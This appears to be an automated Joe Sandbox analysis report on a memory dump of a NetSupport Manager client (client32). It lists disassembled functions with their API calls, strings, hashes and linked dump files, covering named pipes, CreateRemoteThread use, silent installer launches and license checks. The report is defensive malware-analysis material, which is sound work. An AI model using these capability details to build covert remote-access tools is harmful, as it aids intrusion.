Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$Close$CreateExchangeInterlockedNamedPipewsprintf$DescriptorErrorEventFileLastLocalSecuritySleep$AllocDaclFreeInitializeReadState
String ID: VistaUIPipe%d$\\.\pipe\nsm_%s$\\.\pipe\nsm_vistapipe%d
API String ID: 314772441-3428003663
Opcode ID: 5edb563096daf5830fa12ef569c1a7c24e09949c0a52532e50ff9f61841b0b84
Instruction ID: bc2e2c65ab037f4e49fc19a0848c9f8c0e457000ff0deb98ec24630af83a0244
Opcode Fuzzy Hash: 5edb563096daf5830fa12ef569c1a7c24e09949c0a52532e50ff9f61841b0b84
Instruction Fuzzy Hash: 5A619075E1022AABD715CF64CC85FDAB7B8BF0C714F104194E955A7280EBB5A980CFA0

Function 11133400 Relevance: 30.1, APIs: 2, Strings: 15, Instructions: 381COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 11133786
__strdup.LIBCMT ref: 111337B7

Strings

CurrentLocation, xrefs: 1113363E
SOFTWARE\Research Machines\Network Management\Location Chooser, xrefs: 11133564
CheckRMLocation, opened user key, xrefs: 11133576
Client, xrefs: 111334AE
RoomSpec, xrefs: 111334A9
CheckRMLocation, check machine key, xrefs: 111335ED
Current Location, xrefs: 1113359C
CheckRMLocation, check user key, xrefs: 1113354C
RM user location=%s, assumed roaming, xrefs: 111335C0
SOFTWARE\RM\Connect, xrefs: 1113361E
CheckRMLocation, read [%s] from config, xrefs: 111334E2
CheckRMLocation, SetChannel to [%s], xrefs: 111337BD
IsA(), xrefs: 111334D1, 1113350F, 11133665, 111336B4, 111336DF, 11133718, 1113375C, 111337A6, 11133809, 11133838, 11133872
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 111334CC, 1113350A, 11133660, 111336AF, 111336DA, 11133713, 11133757, 111337A1, 11133804, 11133833, 1113386D
wwww, xrefs: 11133434

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __strdup_free
String ID: CheckRMLocation, SetChannel to [%s]$CheckRMLocation, check machine key$CheckRMLocation, check user key$CheckRMLocation, opened user key$CheckRMLocation, read [%s] from config$Client$Current Location$CurrentLocation$IsA()$RM user location=%s, assumed roaming$RoomSpec$SOFTWARE\RM\Connect$SOFTWARE\Research Machines\Network Management\Location Chooser$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$wwww
API String ID: 514621754-348489473
Opcode ID: cd29cf232fe3fa5b76202ab786b7943c724fd67e21c77a8ff7effdeddf23fd08
Instruction ID: be1923504c83985266732e1f2b9d3f53618397ddbaed6cfbbf11352fa9892fcf
Opcode Fuzzy Hash: cd29cf232fe3fa5b76202ab786b7943c724fd67e21c77a8ff7effdeddf23fd08
Instruction Fuzzy Hash: 96D1B179E1010A9FDB01DFA4DD90FEDF370AF9431DF408164E825A7389EA35A605C7A5

Function 11105630 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 183libraryloaderCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11105664
EnterCriticalSection.KERNEL32(111F060C), ref: 1110567D
GetTickCount.KERNEL32 ref: 11105683
wsprintfA.USER32 ref: 111056ED
LoadLibraryA.KERNEL32(Kernel32.dll,?), ref: 1110572F
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 111057B0
SetLastError.KERNEL32(00000078), ref: 111057C9
FreeLibrary.KERNEL32(00000000,?,00000010,00000000,00000000), ref: 111057FD
GetTickCount.KERNEL32 ref: 11105887
LeaveCriticalSection.KERNEL32(111F060C), ref: 11105890

Strings

Warning. simap lock held for %d ms, xrefs: 111058A4
Session\%u\NSMWClass, xrefs: 111056E7
PostMessage WMCLOSE to s%d (%d) ret %d, xrefs: 111057EB
Error. IPC(%s) = %s, xrefs: 1110571D
Warning. took %d ms to get simap lock, xrefs: 11105693
Kernel32.dll, xrefs: 1110572A
GetProcessId, xrefs: 111057A8

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CriticalLibrarySection$AddressEnterErrorFreeLastLeaveLoadProcwsprintf
String ID: Error. IPC(%s) = %s$GetProcessId$Kernel32.dll$PostMessage WMCLOSE to s%d (%d) ret %d$Session\%u\NSMWClass$Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 3106348785-779848922
Opcode ID: 1edc8b8ba17f787b1558616dea048ccbe520c70343026f8c3c0ffca6a3f3d5cc
Instruction ID: 7ca66135e65bf27062c8b0cf46d1fba60d66d0776981d3ee52a2c48e780759e3
Opcode Fuzzy Hash: 1edc8b8ba17f787b1558616dea048ccbe520c70343026f8c3c0ffca6a3f3d5cc
Instruction Fuzzy Hash: 0E719CB1D012699FDB50DF66CD88A9EFBB5FB48304F9541EAD819A7211DB306E80CF90

Function 110EB120 Relevance: 29.9, APIs: 8, Strings: 9, Instructions: 141windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

wsprintfA.USER32 ref: 110EB1B8
GetTickCount.KERNEL32 ref: 110EB212
SendMessageA.USER32(?,0000004A,?,?), ref: 110EB226
GetTickCount.KERNEL32 ref: 110EB22E
SendMessageTimeoutA.USER32(?,0000004A,?,?,00000000,?,?), ref: 110EB276
OpenEventA.KERNEL32(00000002,00000000,runplugin.dmp.1,?,00000001), ref: 110EB2A8
SetEvent.KERNEL32(00000000,?,00000001), ref: 110EB2B5
CloseHandle.KERNEL32(00000000,?,00000001), ref: 110EB2BC

Strings

Warning: SendMessage to Runplugin took %d ms (possibly unresponsive), xrefs: 110EB23A
Error. Runplugin is unresponsive, xrefs: 110EB2C2
DATA, xrefs: 110EB166
%s, xrefs: 110EB1E3
_debug, xrefs: 110EB14D
runplugin %s (hWnd=%x,u=%d,64=%d) , xrefs: 110EB1B2
runplugin.dmp.1, xrefs: 110EB29F
INIT, xrefs: 110EB15C
TracePlugins, xrefs: 110EB140

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountEventMessageSendTick$CloseHandleOpenTimeout__wcstoi64wsprintf
String ID: %s$DATA$Error. Runplugin is unresponsive$INIT$TracePlugins$Warning: SendMessage to Runplugin took %d ms (possibly unresponsive)$_debug$runplugin %s (hWnd=%x,u=%d,64=%d) $runplugin.dmp.1
API String ID: 3451743168-2289091950
Opcode ID: 7081efb8229b45fa1a91f50154a3e59ac40d63dc77862fc88f6c1544d8f2fef1
Instruction ID: f1114c107ee76d929ad16cd328bd8b6b93bc0bc6479e919ac6bcab8c7865c9c3
Opcode Fuzzy Hash: 7081efb8229b45fa1a91f50154a3e59ac40d63dc77862fc88f6c1544d8f2fef1
Instruction Fuzzy Hash: D441A675A012199FD724DFA5DC44FAEF7B8EF48319F0085AEE91AA7240D631A940CFB1

Function 111254C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 110libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(Kernel32,00000001,00000000,?,?,?,11107655,00000000,000000FF), ref: 111254DA
GetCurrentProcess.KERNEL32(FFFFFFFF,001F0FFF,00000000,00000000,?,?,11107655,00000000,000000FF), ref: 111254F6
GetCurrentProcess.KERNEL32(000000FF,00000000,?,?,11107655,00000000,000000FF), ref: 111254FD
DuplicateHandle.KERNEL32(00000000,?,?,11107655,00000000,000000FF), ref: 11125500
GetExitCodeProcess.KERNEL32(FFFFFFFF,?), ref: 11125519
GetProcAddress.KERNEL32(00000000,ExitProcess), ref: 11125532
CreateRemoteThread.KERNEL32(FFFFFFFF,00000000,00000000,00000000,00000000,00000000,?), ref: 11125551
GetLastError.KERNEL32 ref: 1112555D
TerminateProcess.KERNEL32(000000FF,00000000), ref: 11125568
CloseHandle.KERNEL32(FFFFFFFF,?,?,11107655), ref: 111255CF
SetLastError.KERNEL32(0000042B,?,?,11107655), ref: 111255DD

Strings

ExitProcess, xrefs: 1112552C
Kernel32, xrefs: 111254CB

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$Handle$CurrentErrorLast$AddressCloseCodeCreateDuplicateExitModuleProcRemoteTerminateThread
String ID: ExitProcess$Kernel32
API String ID: 109174691-3456457508
Opcode ID: 426b738c6fbfa5f74dcb21ca8823c9be9917486caf471f8f95e9508255649407
Instruction ID: f8e98d51da87ee85686525c21cd9091351168c3488a54b7e022490e4144d2367
Opcode Fuzzy Hash: 426b738c6fbfa5f74dcb21ca8823c9be9917486caf471f8f95e9508255649407
Instruction Fuzzy Hash: 21318F75E10229BBDB159FB5C888A9EFB79EF48725F114155F822E3240DB709E00CBA0

Function 111352B0 Relevance: 28.3, APIs: 11, Strings: 5, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

_memset.LIBCMT ref: 11135335
LoadIconA.USER32(00000000,00000455), ref: 11135403
_strncpy.LIBCMT ref: 11135425
Shell_NotifyIconA.SHELL32(00000000,000001E8,?,?,?,?,?,?,?,00000001,00000000,59FD48C0,00000000,1102E392,00000001), ref: 11135436
LoadIconA.USER32(00000000,0000045C), ref: 11135456
GetWindowTextA.USER32(000802A6,?,00000180), ref: 11135478
wsprintfA.USER32 ref: 111354F4

Part of subcall function 110D07C0: _free.LIBCMT ref: 110D07ED

wsprintfA.USER32 ref: 1113552C
wsprintfA.USER32 ref: 1113558D
wsprintfA.USER32 ref: 111355E8
Shell_NotifyIconA.SHELL32(1102D57D,000001E8,00000001,00000000,59FD48C0,00000000,1102E392,00000001), ref: 11135623

Strings

%s, xrefs: 111354EE
Client, xrefs: 111352FE
SysTray, xrefs: 111352F9
562258, xrefs: 11135519
%s%s, xrefs: 11135526, 11135587, 111355E2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Iconwsprintf$LoadNotifyShell_$TextWindow__wcstoi64_free_memset_strncpy
String ID: %s$%s%s$562258$Client$SysTray
API String ID: 1881589080-441279933
Opcode ID: 52564186abc49f02ff9e416bc12bc90c7bb85710abbf43999a324a306af1717a
Instruction ID: 2c8920b03c090074b43ba546e334978a2e83067bba728106ef80608c6d9e13b6
Opcode Fuzzy Hash: 52564186abc49f02ff9e416bc12bc90c7bb85710abbf43999a324a306af1717a
Instruction Fuzzy Hash: EAA15CB1D042159FDB62CF74CC50BAEF7B9BB44719F4045ACE829A7284EB71AA44CF50

Function 11027960 Relevance: 28.1, APIs: 7, Strings: 9, Instructions: 139processCOMMON

Download Yara Rule

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,76968400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

Part of subcall function 110B7920: GetModuleHandleA.KERNEL32(kernel32.dll,ProcessIdToSessionId,00000000,00000000), ref: 110B7946
Part of subcall function 110B7920: GetProcAddress.KERNEL32(00000000), ref: 110B794D
Part of subcall function 110B7920: GetCurrentProcessId.KERNEL32(00000000), ref: 110B7963

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

Part of subcall function 110ED1A0: RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED1BC

GetSystemMetrics.USER32(00000043), ref: 11027A34

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

wsprintfA.USER32 ref: 11027A5B

Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,76968400,?), ref: 111432C7
Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
Part of subcall function 11143230: CloseHandle.KERNEL32(00000000), ref: 111432EF

wsprintfA.USER32 ref: 11027A85
_memset.LIBCMT ref: 11027AC0
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00000044,?), ref: 11027B15
CloseHandle.KERNEL32(?), ref: 11027B2C
CloseHandle.KERNEL32(?), ref: 11027B35

Strings

Trying to reinstall gdihook5, xrefs: 11027AC7
System\CurrentControlSet\Services\Gdihook5, xrefs: 110279ED
screenscrape, xrefs: 110279C6
"%sWINSTALL.EXE", xrefs: 11027A55
Client, xrefs: 110279CB, 11027A20
/Q /Q, xrefs: 11027A99
D, xrefs: 11027ACC
"%sWINST32.EXE", xrefs: 11027A7F
AutoInstallGdihook5, xrefs: 11027A1B

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreateFile$FolderModuleOpenPathProcess_memsetwsprintf$AddressCurrentMetricsNameProcSystemVersion__wcstoi64_strncpy
String ID: /Q /Q$"%sWINST32.EXE"$"%sWINSTALL.EXE"$AutoInstallGdihook5$Client$D$System\CurrentControlSet\Services\Gdihook5$Trying to reinstall gdihook5$screenscrape
API String ID: 1724249554-531500863
Opcode ID: a3df32cb051b6ffef0dbddb9e1d9e6afedb1f6be11d8f1515118bc7fc445a0ec
Instruction ID: 8b64ee8515715f9a467a382f1722012f052f9773485b67a77751752c4120a0ae
Opcode Fuzzy Hash: a3df32cb051b6ffef0dbddb9e1d9e6afedb1f6be11d8f1515118bc7fc445a0ec
Instruction Fuzzy Hash: AE412C75E4021EAAEB11DBB0CC95FE9F7B8EB14708F5041D8EA19A71C0EB71B540CB54

Function 110035D0 Relevance: 27.2, APIs: 18, Instructions: 171COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000004), ref: 11003611

Part of subcall function 11142510: SetBkColor.GDI32(?,00000000), ref: 11142524
Part of subcall function 11142510: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 11142539
Part of subcall function 11142510: SetBkColor.GDI32(?,00000000), ref: 11142541

CreateSolidBrush.GDI32(00000000), ref: 11003625
GetStockObject.GDI32(00000007), ref: 11003630
SelectObject.GDI32(?,00000000), ref: 1100363B
SelectObject.GDI32(?,?), ref: 1100364C
GetSysColor.USER32(00000010), ref: 1100365C
GetSysColor.USER32(00000010), ref: 11003673
GetSysColor.USER32(00000014), ref: 1100368A
GetSysColor.USER32(00000014), ref: 110036A1
GetSysColor.USER32(00000014), ref: 110036BE
GetSysColor.USER32(00000014), ref: 110036D5
GetSysColor.USER32(00000010), ref: 110036EC
GetSysColor.USER32(00000010), ref: 11003703
InflateRect.USER32(?,000000FE,000000FE), ref: 11003720
Rectangle.GDI32(?,?,00000001,?,?), ref: 1100373A
SelectObject.GDI32(?,?), ref: 1100374E
SelectObject.GDI32(?,?), ref: 11003758
DeleteObject.GDI32(?), ref: 1100375E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$Object$Select$BrushCreateDeleteInflateRectRectangleSolidStockText
String ID:
API String ID: 3698065672-0
Opcode ID: 85c92a5ddb3fa2c2e396d8f91cdfef8aadc43ee42c682f1723c19db0d879a3f5
Instruction ID: 0acc8f431d394271bb16371b25c06287c3fc210f7a5d9f44f9263931014851e0
Opcode Fuzzy Hash: 85c92a5ddb3fa2c2e396d8f91cdfef8aadc43ee42c682f1723c19db0d879a3f5
Instruction Fuzzy Hash: 3C517DB5900209AFD714EFA5CC85EFBF7BCEB98704F104A18E612A7291D670B945CBA1

Function 111117D0 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 291COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 11111A05
__localtime64.LIBCMT ref: 11111A0E

Strings

currentver, xrefs: 11111979, 11111B28
expiryyear, xrefs: 11111A52
EVAL, xrefs: 11111815
expiryday, xrefs: 11111A2A
expiredver, xrefs: 111118B1
expirymonth, xrefs: 11111A40
startmonth, xrefs: 11111A96
startyear, xrefs: 11111AA8
startday, xrefs: 11111A87
?, xrefs: 1111185C
IsA(), xrefs: 11111928
authcode, xrefs: 111118F7, 11111B18
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11111923

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __localtime64__time64
String ID: ?$EVAL$IsA()$authcode$currentver$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$expiredver$expiryday$expirymonth$expiryyear$startday$startmonth$startyear
API String ID: 3099643277-245371475
Opcode ID: 95701a4e29cf4d46864c7dc7deb441c072c18aa3f1f64dcc333247a8aeecb6d2
Instruction ID: ed969fd491221d6f9ddc632703b46658f720054547a2bb076cdef45b618babfb
Opcode Fuzzy Hash: 95701a4e29cf4d46864c7dc7deb441c072c18aa3f1f64dcc333247a8aeecb6d2
